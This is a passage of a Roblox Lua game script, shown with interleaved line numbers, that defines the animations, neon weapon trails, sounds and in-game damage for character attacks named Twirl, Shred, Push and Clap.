Trail.Transparency = Trail.Transparency +0.1
3840
end end)()end end)()
3841
	Footsteps:Stop()
3842
	Footsteps2:Stop()
3843
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3844
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3845
    so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) 
3846
    for i=0,1,0.1 do
3847
        swait()
3848
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3849
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3850
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3851
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3852
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3853
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3854
    end
3855
if anim then
3856
anim.Disabled=true
3857
end
3858
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3859
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3860
    for i=0,1,0.05 do
3861
        swait()
3862
        Torso.Velocity=RootPart.CFrame.lookVector*100
3863
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3864
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3865
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3866
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3867
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3868
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3869
    end
3870
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3871
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3872
    for i=0,1,0.05 do
3873
        swait()
3874
        Torso.Velocity=RootPart.CFrame.lookVector*100
3875
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3876
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3877
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3878
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3879
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3880
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3881
    end
3882
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3883
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3884
    for i=0,1,0.05 do
3885
        swait()
3886
        Torso.Velocity=RootPart.CFrame.lookVector*100
3887
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3888
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3889
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3890
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3891
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3892
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3893
    end
3894
    --dmgstop()
3895
Humanoid.WalkSpeed=12
3896
    attack=false
3897
    con1:disconnect()
3898
    con2:disconnect()
3899
if anim then
3900
anim.Disabled=false
3901
end
3902
if TrailDeb == true then
3903
						TrailDeb = false
3904
end
3905
end
3906
3907
function Twirl()
3908
mana=mana-50
3909
    attack=true
3910
if TrailDeb == false then
3911
							TrailDeb = true
3912
						end
3913
						
3914
3915
coroutine.wrap(function()
3916
local Old = Handle2.CFrame.p
3917
while wait()do
3918
if not TrailDeb then break end
3919
local New = Handle2.CFrame.p
3920
local Mag =(Old -New).magnitude
3921
local Dis =(Old +New)/2
3922
local Trail = Instance.new("Part",Character)
3923
Trail.Material = "Neon"
3924
Trail.Anchored = true
3925
Trail.CanCollide = false
3926
Trail.BrickColor = TorsoColor
3927
Trail.Size = Vector3.new(0.2,Mag,0.2)
3928
Trail.TopSurface = 0
3929
Trail.BottomSurface = 0
3930
Trail.formFactor = "Custom"
3931
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3932
local ms = Instance.new("BlockMesh",Trail)
3933
ms.Scale = Vector3.new(1,1,1)
3934
local TM = Instance.new("CylinderMesh",Trail)
3935
TM.Scale = Vector3.new(1,1,1)
3936
Old = New
3937
coroutine.wrap(function()
3938
for i = 1,0,-0.1 do
3939
wait()
3940
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3941
end
3942
Trail:remove()
3943
end)()
3944
coroutine.wrap(function()
3945
for i = 1,10 do
3946
wait()
3947
Trail.Transparency = Trail.Transparency +0.1
3948
end end)()end end)()
3949
coroutine.wrap(function()
3950
local Old = Handle.CFrame.p
3951
while wait()do
3952
if not TrailDeb then break end
3953
local New = Handle.CFrame.p
3954
local Mag =(Old -New).magnitude
3955
local Dis =(Old +New)/2
3956
local Trail = Instance.new("Part",Character)
3957
Trail.Material = "Neon"
3958
Trail.Anchored = true
3959
Trail.CanCollide = false
3960
Trail.BrickColor = TorsoColor
3961
Trail.Size = Vector3.new(0.2,Mag,0.2)
3962
Trail.TopSurface = 0
3963
Trail.BottomSurface = 0
3964
Trail.formFactor = "Custom"
3965
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3966
local ms = Instance.new("BlockMesh",Trail)
3967
ms.Scale = Vector3.new(1,1,1)
3968
local TM = Instance.new("CylinderMesh",Trail)
3969
TM.Scale = Vector3.new(1,1,1)
3970
Old = New
3971
coroutine.wrap(function()
3972
for i = 1,0,-0.1 do
3973
wait()
3974
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3975
end
3976
Trail:remove()
3977
end)()
3978
coroutine.wrap(function()
3979
for i = 1,10 do
3980
wait()
3981
Trail.Transparency = Trail.Transparency +0.1
3982
end end)()end end)()
3983
	Footsteps:Stop()
3984
	Footsteps2:Stop()
3985
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3986
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3987
    so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
3988
    for i=0,1,0.1 do
3989
        swait()
3990
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3991
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3992
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3993
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3994
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3995
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3996
    end
3997
if anim then
3998
anim.Disabled=true
3999
end
4000
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4001
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4002
    for i=0,1,0.05 do
4003
        swait()
4004
        Torso.Velocity=RootPart.CFrame.lookVector*80
4005
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4006
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4007
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4008
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4009
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4010
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4011
    end
4012
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4013
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4014
    for i=0,1,0.05 do
4015
        swait()
4016
        Torso.Velocity=RootPart.CFrame.lookVector*80
4017
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4018
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4019
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4020
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4021
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4022
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4023
    end
4024
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4025
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4026
    for i=0,1,0.05 do
4027
        swait()
4028
        Torso.Velocity=RootPart.CFrame.lookVector*80
4029
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4030
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4031
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4032
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4033
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4034
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4035
    end
4036
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4037
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4038
    for i=0,1,0.05 do
4039
        swait()
4040
        Torso.Velocity=RootPart.CFrame.lookVector*80
4041
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4042
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4043
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4044
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4045
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4046
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4047
    end
4048
    --dmgstop()
4049
Humanoid.WalkSpeed=12
4050
    attack=false
4051
    con1:disconnect()
4052
    con2:disconnect()
4053
if anim then
4054
anim.Disabled=false
4055
end
4056
if TrailDeb == true then
4057
						TrailDeb = false
4058
end
4059
end
4060
4061
function Shred()
4062
    attack=true
4063
    mana=mana-100
4064
if TrailDeb == false then
4065
							TrailDeb = true
4066
						end
4067
						
4068
4069
coroutine.wrap(function()
4070
local Old = Handle2.CFrame.p
4071
while wait()do
4072
if not TrailDeb then break end
4073
local New = Handle2.CFrame.p
4074
local Mag =(Old -New).magnitude
4075
local Dis =(Old +New)/2
4076
local Trail = Instance.new("Part",Character)
4077
Trail.Material = "Neon"
4078
Trail.Anchored = true
4079
Trail.CanCollide = false
4080
Trail.BrickColor = TorsoColor
4081
Trail.Size = Vector3.new(0.2,Mag,0.2)
4082
Trail.TopSurface = 0
4083
Trail.BottomSurface = 0
4084
Trail.formFactor = "Custom"
4085
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4086
local ms = Instance.new("BlockMesh",Trail)
4087
ms.Scale = Vector3.new(1,1,1)
4088
local TM = Instance.new("CylinderMesh",Trail)
4089
TM.Scale = Vector3.new(1,1,1)
4090
Old = New
4091
coroutine.wrap(function()
4092
for i = 1,0,-0.1 do
4093
wait()
4094
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4095
end
4096
Trail:remove()
4097
end)()
4098
coroutine.wrap(function()
4099
for i = 1,10 do
4100
wait()
4101
Trail.Transparency = Trail.Transparency +0.1
4102
end end)()end end)()
4103
coroutine.wrap(function()
4104
local Old = Handle.CFrame.p
4105
while wait()do
4106
if not TrailDeb then break end
4107
local New = Handle.CFrame.p
4108
local Mag =(Old -New).magnitude
4109
local Dis =(Old +New)/2
4110
local Trail = Instance.new("Part",Character)
4111
Trail.Material = "Neon"
4112
Trail.Anchored = true
4113
Trail.CanCollide = false
4114
Trail.BrickColor = TorsoColor
4115
Trail.Size = Vector3.new(0.2,Mag,0.2)
4116
Trail.TopSurface = 0
4117
Trail.BottomSurface = 0
4118
Trail.formFactor = "Custom"
4119
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4120
local ms = Instance.new("BlockMesh",Trail)
4121
ms.Scale = Vector3.new(1,1,1)
4122
local TM = Instance.new("CylinderMesh",Trail)
4123
TM.Scale = Vector3.new(1,1,1)
4124
Old = New
4125
coroutine.wrap(function()
4126
for i = 1,0,-0.1 do
4127
wait()
4128
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4129
end
4130
Trail:remove()
4131
end)()
4132
coroutine.wrap(function()
4133
for i = 1,10 do
4134
wait()
4135
Trail.Transparency = Trail.Transparency +0.1
4136
end end)()end end)()
4137
	Footsteps:Stop()
4138
	Footsteps2:Stop()
4139
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4140
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4141
    so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) 
4142
    for i=0,1,0.1 do
4143
        swait()
4144
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4145
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4146
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4147
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4148
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4149
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4150
    end
4151
if anim then
4152
anim.Disabled=true
4153
end
4154
    for i=0,1,0.05 do
4155
        swait()
4156
        Torso.Velocity=RootPart.CFrame.lookVector*20
4157
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4158
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4159
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
4160
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4161
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4162
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4163
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4164
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4165
    end
4166
    for i=0,1,0.05 do
4167
        swait()
4168
        Torso.Velocity=RootPart.CFrame.lookVector*40
4169
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4170
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4171
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
4172
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4173
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4174
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4175
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4176
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4177
    end
4178
    for i=0,1,0.05 do
4179
        swait()
4180
        Torso.Velocity=RootPart.CFrame.lookVector*60
4181
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4182
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4183
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
4184
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4185
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4186
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4187
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4188
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4189
    end
4190
    so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
4191
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4192
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4193
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4194
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4195
    for i=0,1,0.05 do
4196
        swait()
4197
        Torso.Velocity=RootPart.CFrame.lookVector*80
4198
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
4199
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4200
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4201
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4202
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4203
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4204
    end
4205
    for i=0,1,0.005 do
4206
        swait()
4207
        Torso.Velocity=RootPart.CFrame.lookVector*100
4208
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
4209
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4210
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4211
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4212
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4213
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4214
    end
4215
    --dmgstop()
4216
Humanoid.WalkSpeed=12
4217
    attack=false
4218
    con1:disconnect()
4219
    con2:disconnect()
4220
if anim then
4221
anim.Disabled=false
4222
end
4223
if TrailDeb == true then
4224
						TrailDeb = false
4225
end
4226
end
4227
4228
function Push()
4229
    attack=true
4230
    mana=mana-20
4231
if TrailDeb == false then
4232
							TrailDeb = true
4233
						end
4234
						
4235
4236
coroutine.wrap(function()
4237
local Old = Handle2.CFrame.p
4238
while wait()do
4239
if not TrailDeb then break end
4240
local New = Handle2.CFrame.p
4241
local Mag =(Old -New).magnitude
4242
local Dis =(Old +New)/2
4243
local Trail = Instance.new("Part",Character)
4244
Trail.Material = "Neon"
4245
Trail.Anchored = true
4246
Trail.CanCollide = false
4247
Trail.BrickColor = TorsoColor
4248
Trail.Size = Vector3.new(0.2,Mag,0.2)
4249
Trail.TopSurface = 0
4250
Trail.BottomSurface = 0
4251
Trail.formFactor = "Custom"
4252
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4253
local ms = Instance.new("BlockMesh",Trail)
4254
ms.Scale = Vector3.new(1,1,1)
4255
local TM = Instance.new("CylinderMesh",Trail)
4256
TM.Scale = Vector3.new(1,1,1)
4257
Old = New
4258
coroutine.wrap(function()
4259
for i = 1,0,-0.1 do
4260
wait()
4261
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4262
end
4263
Trail:remove()
4264
end)()
4265
coroutine.wrap(function()
4266
for i = 1,10 do
4267
wait()
4268
Trail.Transparency = Trail.Transparency +0.1
4269
end end)()end end)()
4270
coroutine.wrap(function()
4271
local Old = Handle.CFrame.p
4272
while wait()do
4273
if not TrailDeb then break end
4274
local New = Handle.CFrame.p
4275
local Mag =(Old -New).magnitude
4276
local Dis =(Old +New)/2
4277
local Trail = Instance.new("Part",Character)
4278
Trail.Material = "Neon"
4279
Trail.Anchored = true
4280
Trail.CanCollide = false
4281
Trail.BrickColor = TorsoColor
4282
Trail.Size = Vector3.new(0.2,Mag,0.2)
4283
Trail.TopSurface = 0
4284
Trail.BottomSurface = 0
4285
Trail.formFactor = "Custom"
4286
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4287
local ms = Instance.new("BlockMesh",Trail)
4288
ms.Scale = Vector3.new(1,1,1)
4289
local TM = Instance.new("CylinderMesh",Trail)
4290
TM.Scale = Vector3.new(1,1,1)
4291
Old = New
4292
coroutine.wrap(function()
4293
for i = 1,0,-0.1 do
4294
wait()
4295
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4296
end
4297
Trail:remove()
4298
end)()
4299
coroutine.wrap(function()
4300
for i = 1,10 do
4301
wait()
4302
Trail.Transparency = Trail.Transparency +0.1
4303
end end)()end end)()
4304
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4305
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4306
    for i=0,1,0.1 do
4307
        swait()
4308
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4309
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4310
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4311
        Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4312
        Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4313
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4314
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4315
    end
4316
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4317
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4318
    so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) 
4319
    for i=0,1,0.1 do
4320
        swait()
4321
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4322
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4323
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4324
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4325
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4326
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4327
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4328
    end
4329
    --dmgstop()
4330
    attack=false
4331
    con1:disconnect()
4332
    con2:disconnect()
4333
if TrailDeb == true then
4334
						TrailDeb = false
4335
end
4336
end
4337
4338
function Clap()
4339
    attack=true
4340
    mana=mana-20
4341
if TrailDeb == false then
4342
							TrailDeb = true
4343
						end
4344
						
4345
4346
coroutine.wrap(function()
4347
local Old = Handle2.CFrame.p
4348
while wait()do
4349
if not TrailDeb then break end
4350
local New = Handle2.CFrame.p
4351
local Mag =(Old -New).magnitude
4352
local Dis =(Old +New)/2
4353
local Trail = Instance.new("Part",Character)
4354
Trail.Material = "Neon"
4355
Trail.Anchored = true
4356
Trail.CanCollide = false
4357
Trail.BrickColor = TorsoColor
4358
Trail.Size = Vector3.new(0.2,Mag,0.2)
4359
Trail.TopSurface = 0
4360
Trail.BottomSurface = 0
4361
Trail.formFactor = "Custom"
4362
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4363
local ms = Instance.new("BlockMesh",Trail)
4364
ms.Scale = Vector3.new(1,1,1)
4365
local TM = Instance.new("CylinderMesh",Trail)
4366
TM.Scale = Vector3.new(1,1,1)
4367
Old = New
4368
coroutine.wrap(function()
4369
for i = 1,0,-0.1 do
4370
wait()
4371
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4372
end
4373
Trail:remove()
4374
end)()
4375
coroutine.wrap(function()
4376
for i = 1,10 do
4377
wait()
4378
Trail.Transparency = Trail.Transparency +0.1
4379
end end)()end end)()
4380
coroutine.wrap(function()
4381
local Old = Handle.CFrame.p
4382
while wait()do
4383
if not TrailDeb then break end
4384
local New = Handle.CFrame.p
4385
local Mag =(Old -New).magnitude
4386
local Dis =(Old +New)/2
4387
local Trail = Instance.new("Part",Character)
4388
Trail.Material = "Neon"
4389
Trail.Anchored = true
4390
Trail.CanCollide = false
4391
Trail.BrickColor = TorsoColor
4392
Trail.Size = Vector3.new(0.2,Mag,0.2)
4393
Trail.TopSurface = 0
4394
Trail.BottomSurface = 0
4395
Trail.formFactor = "Custom"
4396
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4397
local ms = Instance.new("BlockMesh",Trail)
4398
ms.Scale = Vector3.new(1,1,1)
4399
local TM = Instance.new("CylinderMesh",Trail)
4400
